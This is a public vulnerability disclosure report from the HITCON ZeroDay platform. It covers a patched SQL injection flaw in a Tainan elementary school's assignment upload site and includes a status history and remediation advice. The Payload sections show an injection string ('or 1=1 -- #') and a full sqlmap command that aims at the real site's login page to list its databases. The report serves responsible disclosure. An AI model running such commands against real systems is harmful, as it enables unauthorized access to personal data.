Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-01074
- Vendor: 臺南市教育局資訊中心
- Title: 臺南市東區勝利國小資訊課程作業上傳平台
- Introduction: SQL Injection
處理狀態
目前狀態
公開
Last Update : 2025/09/19
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2025/08/27 20:27:36 : 新提交 (由 spencerku 更新此狀態)
- 2025/08/27 20:29:34 : 新提交 (由 spencerku 更新此狀態)
- 2025/08/27 20:29:46 : 新提交 (由 spencerku 更新此狀態)
- 2025/08/27 20:32:00 : 新提交 (由 spencerku 更新此狀態)
- 2025/08/27 20:32:08 : 新提交 (由 spencerku 更新此狀態)
- 2025/08/27 20:32:19 : 新提交 (由 spencerku 更新此狀態)
- 2025/08/27 20:39:04 : 新提交 (由 spencerku 更新此狀態)
- 2025/08/27 20:39:28 : 新提交 (由 spencerku 更新此狀態)
- 2025/08/27 20:46:20 : 新提交 (由 spencerku 更新此狀態)
- 2025/08/27 20:49:59 : 新提交 (由 spencerku 更新此狀態)
- 2025/08/29 14:32:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/03 16:36:37 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/03 16:36:37 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/03 16:36:37 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/09 11:55:44 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/15 17:20:21 : 已修補 (由 組織帳號 更新此狀態)
- 2025/09/15 17:20:28 : 複測申請中 (由 組織帳號 更新此狀態)
- 2025/09/15 17:35:20 : 確認已修補 (由 spencerku 更新此狀態)
- 2025/09/19 03:00:30 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-01074
- 通報者:spencerKu (spencerku)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://gen-slps.slps.tn.edu.tw/type/#
https://gen-slps.slps.tn.edu.tw/*
https://gen-slps.slps.tn.edu.tw/type/info.php
https://gen-slps.slps.tn.edu.tw/*
https://gen-slps.slps.tn.edu.tw/type/info.php
敘述
SQL Injection
Payload
or 1=1 -- #
Result
使用sqlmap腳本測試
Payload
sqlmap -u "https://gen-slps.slps.tn.edu.tw/type/chk_login.php?name=258&pwd=2" --random-agent --batch --dbs
Result
建議關閉的頁面
https://gen-slps.slps.tn.edu.tw/type/info.php
修補建議
SQLi 是因為使用者輸入直接拼接進 SQL 語句,攻擊者可以插入惡意字串,竄改查詢結果。
修補方法:
使用參數化查詢 / Prepared Statement,避免直接拼接字串。
建議所有參數可使用 PDO 框架或 mysqli 搭配 Prepared Statement。
mysqli_real_escape_string() 可作為輔助措施,但不建議取代參數化查詢。
mysqli_real_escape_string() 用法參考:
https://www.php.net/manual/zh/mysqli.real-escape-string.php
PDO 使用範例:
https://www.php.net/manual/zh/book.pdo.php
Wiki 參考:
https://zh.wikipedia.org/wiki/SQL%E6%B3%A8%E5%85%A5
密碼沒有雜湊的修補建議
修補方法:
使用 password_hash() / password_verify(),避免自行加鹽,因為函式已內建隨機鹽值。
建議演算法可選 Bcrypt 或 Argon2(PHP 7.2+ 推薦 Argon2)。
password_hash() 用法參考:
https://www.php.net/manual/zh/function.password-hash.php
Wiki 參考:
https://en.wikipedia.org/wiki/Password_hashing
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。